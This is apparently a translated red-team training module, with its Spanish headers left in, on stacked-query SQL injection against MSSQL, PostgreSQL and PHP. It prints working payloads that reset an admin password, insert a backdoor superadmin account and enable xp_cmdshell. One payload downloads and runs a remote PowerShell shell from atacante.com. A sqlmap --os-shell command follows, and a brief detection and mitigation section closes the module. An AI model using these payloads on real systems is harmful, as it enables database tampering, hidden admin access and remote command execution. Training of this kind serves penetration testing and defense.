📕 FIELD MANUAL 3.3: STACKED QUERIES
Objective: We will execute multiple independent SQL statements to modify data or invoke operating system commands.
Classification: RED TEAM EYES ONLY
Objective: We will execute multiple independent SQL statements to modify data or invoke operating system commands.
Targets: Microsoft SQL Server environments (Critical), PostgreSQL, and PHP with mysqli_multi_query.
MITRE ATT&CK: T1190, T1486 (Data Encrypted for Impact - Ransomware via SQL).
1. INTEL & RECON: THE POWER OF THE PERIOD
Sección titulada «1. INTEL & RECON: EL PODER DEL PUNTO Y COMA»The Concept
Sección titulada «El Concepto»So far, we have used UNION to add results to the existing query (SELECT... UNION SELECT...).
But what if we want to perform a INSERT or a DROP TABLE? We cannot join a INSERT to a SELECT.
The solution is to close the first query and start a new one.
- Magic Symbol:
;(Semicolon).
The Vulnerable Code
Sección titulada «El Código Vulnerable»$id = $_GET['id'];// Si el driver de DB permite multi-query...$sql = "SELECT * FROM products WHERE id = $id";If we send 1; DELETE FROM products, the database receives:
SELECT * FROM products WHERE id = 1(It will execute normally).DELETE FROM products(It will execute immediately after... and will delete the table!).
2. WEAPONIZATION: DESTRUCTION AND CONTROL
Sección titulada «2. WEAPONIZATION: DESTRUCCIÓN Y CONTROL»Scenario A: Data Modification (Admin Reset)
Sección titulada «Escenario A: Modificación de Datos (Admin Reset)»We will imagine that we cannot extract the admin password (very complex hash), but we have Stacked Queries. Instead of stealing it, we will change it.
-
Payload (Update):
1'; UPDATE users SET password='RedTeamPassword123!' WHERE user='admin'; --Effect: The application will show product 1 and silently change the admin password. Now we will enter through the front door.
Scenario B: Backdoor Insertion (Admin Creation)
Sección titulada «Escenario B: Inserción de Backdoors (Admin Creation)»If we don't want to touch the existing admin to avoid raising suspicion, we will create a new one.
-
Payload (Insert):
1'; INSERT INTO users (username, password, role) VALUES ('backdoor', 'pass123', 'superadmin'); --
Scenario C: Time-Based Confirmation
Sección titulada «Escenario C: Time-Based Confirmation»Since Stacked Queries usually do not return the result of the second query on screen (it is blind), we will use WAITFOR DELAY to confirm it works.
-
Payload (MSSQL):
1'; WAITFOR DELAY '0:0:5'; --If the page takes 5 seconds, we will have stacked command execution!
3. “GOD MODE” ESCALATION: XP_CMDSHELL (MSSQL)
Sección titulada «3. ESCALADA “GOD MODE”: XP_CMDSHELL (MSSQL)»This is the "Holy Grail" in Microsoft SQL Server environments.
xp_cmdshell is a stored procedure that executes Windows console (CMD) commands directly from SQL.
Step 1: Enable xp_cmdshell
Sección titulada «Paso 1: Habilitar xp_cmdshell»By default, it is usually disabled. If we are sa (System Admin), we can reactivate it using Stacked Queries.
-
Payload (Reactivation):
1'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE; --
Step 2: Command Execution (RCE)
Sección titulada «Paso 2: Ejecución de Comandos (RCE)»Now we will be the Windows console.
-
Payload (Ping Test):
1'; EXEC xp_cmdshell 'ping -n 5 127.0.0.1'; --(This will cause a 5-second delay, confirming RCE).
-
Payload (Reverse Shell with PowerShell): Here we will download and execute a Cobalt Strike or Metasploit payload.
1'; EXEC xp_cmdshell 'powershell IEX(New-Object Net.WebClient).DownloadString("[http://atacante.com/shell.ps1](http://atacante.com/shell.ps1)")'; --
4. AUTOMATION: SQLMAP STACKED
Sección titulada «4. AUTOMATION: SQLMAP STACKED»SQLMap will test this automatically using the S (Stacked) technique.
War Command:
sqlmap -u "http://target/app.aspx?id=1" \ --technique=S \ --os-shell-os-shell: This magic flag will automatically attempt to enablexp_cmdshell(in MSSQL) or useUDF injection(in MySQL) to provide us with a Linux/Windows-style interactive terminal within SQLMap.
5. PURPLE TEAM VIEW (DEFENSE)
Sección titulada «5. VISIÓN DEL EQUIPO PURPLE (DEFENSA)»🕵️ Detection
Sección titulada «🕵️ Detección»- Database Logs: We look for the
;character in query logs as the #1 indicator. Legitimate web applications almost never send multiple statements in a single call. - Configuration Events: We will monitor the Event ID that indicates changes in
sp_configure. Ifxp_cmdshellis suddenly enabled, we will consider it a critical incident. - Child Processes: If the process
sqlservr.exespawnscmd.exeorpowershell.exe, we will consider it a definitive sign of compromise viaxp_cmdshell.
🛡️ Mitigation
Sección titulada «🛡️ Mitigación»- Disable Multi-Statement: In PHP, we will use
mysqli_query(singular) instead ofmysqli_multi_query. - Principle of Least Privilege: The web service account must NEVER be
sa(SysAdmin). If it is a restricted user, it will not be able to reactivatexp_cmdshellor access critical tables, even if the injection exists.
Status: Module 3.3 Completed.
Mission: We will theoretically understand how MSSQL allows executing system commands. In bWAPP (MySQL), we will attempt to use ; SLEEP(10) to see if it supports stacking (probably not, but it is a good test).

